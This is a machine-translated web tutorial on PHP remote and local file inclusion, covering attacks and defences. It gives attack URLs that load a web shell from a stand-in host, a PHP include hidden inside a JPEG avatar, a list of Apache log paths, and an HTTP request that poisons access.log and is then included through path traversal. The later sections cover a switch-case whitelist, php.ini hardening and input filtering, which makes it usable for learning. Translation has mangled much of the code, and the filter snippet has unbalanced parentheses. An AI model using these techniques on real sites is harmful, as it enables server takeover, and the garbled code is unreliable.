This page has been robot translated, sorry for typos if any. Original content here.

PHP-include and ways to protect



  • Global Includ
  • Protection against global includa
  • Local Includ
  • Apache's logs
  • Protection from local includa


  • Introduction

    Global Includ

    The most dangerous of the vulnerabilities of the web, but unfortunately, or fortunately is very rare in our time. For the attack, it is necessary that the allow_url_include function is enabled, ie "On"
    The vulnerability allows an attacker to execute arbitrary php code on the server.
    In PHP, there are four functions for including files in a PHP script:

    * include ();
    * include_once ();
    * require ();
    require_once ().

    The include () function includes the contents of the file in the script. Consider an example of a "double" vulnerable code:
      <? php
     
      if ( $ _GET [ 'page' ]. '.php' )
     
      {
     
      include ( $ _GET [ 'page' ]. '.php' );
     
      }
     
      else
     
      {
     
      include ( $ file . '.php' );
     
      }
     
      ?>
    
    
    Using the condition, we check if the element of the array $ _GET ['page'] is passed to the server via url, then we call the include () function. Due to the fact that the value of the array $ _GET ['page'] is not checked for existence, the attacker can perform an attack using the file_exists () function:

    http://site.ru/index.php?page=http://hack.ru/shell Otherwise we include include ($ file. '. php'); Here the situation is the same, just writing the code is a bit different. The variable $ file is not
    was determined early and the attacker can execute remotely php code:
    http://site.ru/index.php?file=http://hack.ru/shell The include_once () function is practically the same as the include () , with one exception: before you include the file in the program, it checks not whether it was included earlier. If the file has already been included, the include_once () call is ignored, and if not, the file is included as standard.

    <?php
    include_once( $file . '.gif' ); ?>
    <?php
    include_once( $file . '.gif' ); ?>
    In this example, the extension '.gif' is automatically assigned to the uploaded file.
    You can get rid of the extension '.gif' in two ways:
    1) if magic_quotes_gpc = Off, then you can use "poison zero" -% 00 which will cut the extension
    http://site.ru/index.php?file=http://hack.ru/shell.php%00 2) even if magic_quotes_gpc = On
    http://site.ru/index.php?file=http://hack.ru/shell.php? The require () function is similar to include () , except for one - the file defined by the require () parameter is included in the script, regardless of the location of require () in the script.
    <?php
    require( $file );
    ?>
    <?php
    require( $file );
    ?>
    attack is similar, but in this case the extension is not attributed:
    http://site.ru/index.php?page=http://hack.ru/shell.php The require_once () function loads the file into the script only once.
    <?php
    require_once( $file . '.php' );
    ?>
    <?php
    require_once( $file . '.php' );
    ?>
    attack is similar ...

    Now consider another version of Includa. This time it is necessary that b in the php.ini file
    the value of the allow_url_fopen parameter was On , which is the default.
    PHP Code:
      <? php
     
      $ f = fopen ( "$ file.php" , "r" );
     
    
      while (! feof ( $ f ))
     
      {
     
      $ s = fgets ( $ f , 255 );
     
      echo $ s ;
     
      }
     
    
      fclose ( $ f );
     
      ?>
    
    
    Due to the fact that the $ file variable was not defined earlier, an attacker can perform an attack:
    http://site.ru/index.php?file=http://hack.ru/shell As a result, we again get the web shell.

    The following example uses the readfile () function
    <?php
    readfile
    ( $file );
    ?>
    <?php
    readfile
    ( $file );
    ?>
    The readfile () function reads the file whose name is passed to it as a parameter, and displays its contents on the screen.
    As a result, we again get the web shell:
    http://site.ru/index.php?file=http://hack.ru/shell Now consider this option:

    <?php
    echo implode ( "" , file ( $file ));
    ?>
    <?php
    echo implode ( "" , file ( $file ));
    ?>
    Using the implode () function, we combine the elements of an array into a string, and using the file () function, we get the contents of the file as an array. As a result, we again have a web shell:
    http://site.ru/index.php?file=http://hack.ru/shell.php

    Protection against global includa

    Of course, you can check the file to exist with the function file_exists () and filter out unwanted characters with str_replace () , but I recommend using the switch case :

      <? php
     
      global $ page ;
     
      switch ( $ page )
     
      {
     
      case '' :
     
      include ( "pages / main.php" );
     
      break;
     
    
      case 'index' :
     
      include ( "pages / main.php" );
     
      break;
     
      case 'page1' :
     
      include ( "pages / folder / page1.php" );
     
      break;
     
      case 'page2' :
     
      include ( "pages / folder / page2.php" );
     
      break;
     
    
      default:
     
      include ( "pages / hack.php" );
     
      break;
     
      }
     
      ?>
    
    
    I also recommend that you edit the php.ini file :

    allow_url_include = Off // disable remote inclusion of files
    allow_url_fopen = Off // forbid fopen to open links
    register_globals = Off // disable the initialization of global variables
    safe_mode = On // enable safe_mode (the hacker will not have access to / etc / passwd and it's like)

    Local Includ

    No less dangerous vulnerability in the web. Allows an attacker to insert files on the server. Many newcomers encounter this bug of web coding, because they do not know how to proceed further and which way to dig. I will give a general example:
    <?php
    include( "include/$file" );
    ?>
    <?php
    include( "include/$file" );
    ?>
    It is not possible to globally invoke, because the $ file variable is assigned after the / include /
    What can be done?

    Ideal is the case when the site is either a forum or another form with which you can download any file with any extension.
    The question arises: why with any extension? Take for example an imaginary site on which there is a possibility of uploading an avatar through the forum. On the forum there is a script that checks - is the user really uploaded the photo? Open paint and save any image for example in jpg format. Then open it with a notepad and after the image code write <? Php include ("http://hack.ru/shell.php"); ?> In the end we get something like this:
    			
     JFIF `` YOU C           		 
     
    
                     $. '  ", # (7), 01444 '9 = 82 <.342яЫ C 			  
    
      2!  222222222222222222222222222222222222222222222 22222яА 6 6 "ЯД                    	
      μ μ μ}! 1A Qa "q 2Ѓ'Ў # B ± R RCp $ 3br,	
          % & '() * 456789: CDEFGHIJSTUVWXYZcdefghijstuvwxyzѓ "... † ‡ € ‰ Љ'" "- љўЈ¤Ґ§Ё ©Є Єґґ¶¶ ВВВВВВВВВВВВВВВВВВВВВВВВВВВббббббббббббббббббббббббббб е е е е е е е е еДДДДДДДДДДДДДДДДДДДДДДДД                       	
      μμ μ w! 1 AQ aq "2Ѓ B'Ў ± B # 3Rp brC
    
      $ 4b% with & '() * 56789: CDEFGHIJSTUVWXYZcdefghijstuvwxyz,ѓ "... † ‡ € ‰ Љ'" "- љўЈ¤Ґ§Ё ©Є Єґґ¶¶ №№ВВВВВВВВВВВВВВВВВВВВВВВВВВВВВВ??????????????????????????????????  ch (ўЂ
     (â €
     (â €
     (â €
     (â €
     (â €
     (â €
     (â €
    
     (â €
     (â €
     (â €
     (â €
     (â €
     (â €
     (â €
     (ўЂ? яЩ
     <? php include ("http://hack.ru/shell.php");  ?>
    
    Now such a picture can be uploaded to the forum and it will be perceived exactly as a picture
    Let's return to the question of expansion. Why is anyone suitable for us? The matter is that function include ()
    loads the code from one file into the executable. Here is an example:
    http://www.site.com/index.php?include=../forum/images/shell.jpg As a result, in the index.php file the code <? php include ("http://hack.ru/ shell.php "); ?>

    Apache's logs

    As you know, apache logs the httpd-access.log and httpd-error.log and all the requests
    naturally logged and written to the appropriate files. Here is their approximate location:
     /logs/error.log
     /logs/access.log
    
     / logs / error_log
     / logs / access_log
    
     / var / log / error_log 
     / var / log / access_log
     /var/log/error.log 
     /var/log/access.log
    
     / var / www / logs / error_log
     /var/www/logs/error.log
    
     / var / www / logs / access_log
     /var/www/logs/access.log
    
     / var / log / apache / error_log
     /var/log/apache/error.log
     / var / log / apache / access_log
     /var/log/apache/access.log
    
     /var/log/httpd/error.log
     /var/log/httpd/access.log
    
     / var / log / httpd / error_log
     / var / log / httpd / access_log
    
     /apache/logs/error.log
     /apache/logs/access.log
     / apache / logs / error_log
     / apache / logs / access_log
    
     / usr / local / apache / logs / error_log
     /usr/local/apache/logs/error.log
    
     / usr / local / apache / logs / access_log
     /usr/local/apache/logs/access.log
    
     / home / www / logs / error_log
     /home/www/logs/error.log
     / home / www / logs / access_log
     /home/www/logs/access.log
    
    I'll give an example on localhost, I think it will be much clearer. With the help of the program InetCrack I send a package of this content:
    GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
    Host: localhost
    User-Agent: google/bot
    Keep-Alive: 300
    Connection: keep-alive
    Referer: http://127.0.0.1/
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 104
    GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
    Host: localhost
    User-Agent: google/bot
    Keep-Alive: 300
    Connection: keep-alive
    Referer: http://127.0.0.1/
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 104
    The package header is written to the apache logs located at:
    Z:\usr\local\apache\logs\access.log Ie I wrote this line in this file:
    127.0.0.1 - - [14/Nov/2008:15:40:43 +0200] "GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.1" 400 414 I think the essence is clear. It remains for us to inject it:
    http://localhost/1.php?file=../../../../usr/local/apache/logs/access.log And get the web shell :)

    Protection from local includa

    Here is a small example of how you can reliably protect yourself:
      <? php
     
    


    function stripslashes_for_array (& $ array )
    {
    reset ( $ array );
    while (list ( $ key , $ val ) = each ( $ array ))
    {
    if ( is_string ( $ val )) $ array [ $ key ] = stripslashes ( $ val );
    elseif ( is_array ( $ val )) $ array [ $ key ] = stripslashes_for_array ( $ val );
    }
    return $ array ;
    }

    if (! get_magic_quotes_gpc ())
    {
    stripslashes_for_array ( $ _POST );
    stripslashes_for_array ( $ _GET );
    }

    if (isset ( $ _GET [ 'file' ]))) $ file = $ _GET [ 'file' ];
    else
    {
    if (isset ( $ _POST [ 'file' ]))) $ file = $ _POST [ 'file' ]; else $ file = '' ; } $ file = str_replace ( '/' , '' , $ file ); $ file = str_replace ( '.' , '' , $ file ); if (! file_exists ( "include" . '/' . $ file . '.php' ) || $ file == 'index' ) { $ file = 'news' ; } include ( "include" . '/' . $ file . '.php' ); ?>

    So, what's going on here? Each element of the array is checked by stripslashes () . She kills backslashes. Next, we check whether the value of the array element is set or not. We filter the invalid characters (' / ', ' . ') With str_replace () . If the file does not exist (check with the function file_exists () ) - assign the value of the variable $ file = 'news'. In other cases (when the file exists), we'll add it.